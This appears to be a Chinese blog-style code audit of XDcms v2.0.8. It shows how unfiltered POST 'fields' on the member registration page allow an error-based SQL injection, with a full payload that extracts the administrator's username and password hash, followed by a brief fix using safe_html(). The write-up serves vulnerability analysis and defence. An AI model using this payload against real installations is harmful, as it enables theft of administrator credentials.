这里主要讲v2.0.8版本的XDcms中的一个基于错误的SQL注入漏洞,较v2.0.7版本而言修复了很多注入漏洞,使得注入漏洞大为减少。
至于CMS的下载配置等就不说了,直接审计吧~
先整体看,点击index.php,先判断是否存在文件config.inc.php,若不存在则重定向去安装;然后就是通过require()函数包含/system/common.inc.php文件:
查看/system/common.inc.php文件,看到很多都是定义变量,期间都有包含一些文件,每个文件都点击进去查看一下,其中最值得关注的就是最后的fun.inc.php:
查看该文件发现先包含了几个文件然后就是定义各个函数,其中一个global.inc.php文件显得比较重要,因为涉及到全局变量的东西:
进入global.inc.php文件中查看,有发现对接收的参数进行过滤的操作:
看到其中有两个对输入参数进行过滤的函数,进行查看,知道该函数的定义是在fun.inc.php中:
该过滤作用很强,几乎绕过不了,但是可以发现的就是调用该函数进行过滤时只是对GET方法进行过滤,在这里没有对POST等方法进行过滤,接着搜索一下关于$_POST的内容看看,其中POST很多都进行了过滤,但是有的会遗漏,其中有文件是涉及到SQL的delete语句便利用不到了,找到其中的一个文件\system\modules\member\index.php:
注意到$fields这个变量没有被过滤且是一个数组,因为该页面是注册页面的主页,所以通过注册一个用户的信息并用火狐的Live HTTP headers插件来进行抓包:
POST发送的内容为:username=aaaaaa&password=123456&password2=123456&fields%5Btruename%5D=aaaaaa&fields%5Bemail%5D=aaaaaa&submit=+%D7%A2+%B2%E1+
对field_sql变量调用var_dump()函数详细地显示出来,同时添加exit不让后面的代码执行,重新注册新账号:
可以看到field_sql数组变量的值为用户输入的field数组中truename和email的值,接着改为输出下一条语句:
该语句为:update c_member set `truename`='ccccca',`email`='ccccca' where userid=7
这里可以尝试进行注入,先搜索并查看一下query()函数的定义:
可以看到会输出错误信息,那么现在就把之前添加的代码去掉并注册email中含单引号的用户看看:
可以看到,显示错误信息。在这里就可以利用基于错误的构造语句来显示系统的信息:
(select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),username,password,encrypt) from c_admin limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) #
放到phpmyadmin中去运行:
虽然报出多处错误,但是结果却出来了。下面将语句补充完整再测试一下:
update c_member set `truename`='ccscca',`email`='ccscca' where userid=1 and (select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),username,password,encrypt) from c_admin limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) #
最后直接将语句添加到email中执行即可:
可见,管理员用户名和密码都显示出来了。
如果还有其他账号密码等信息,通过该limit的第一个参数逐一遍历出来即可。
防御方法:
该漏洞产生的原因在于没有对所有的POST提交过来的内容即$fields变量进行过滤从而导致漏洞的存在,直接通过调用safe_html()函数来过滤field_sql变量即可: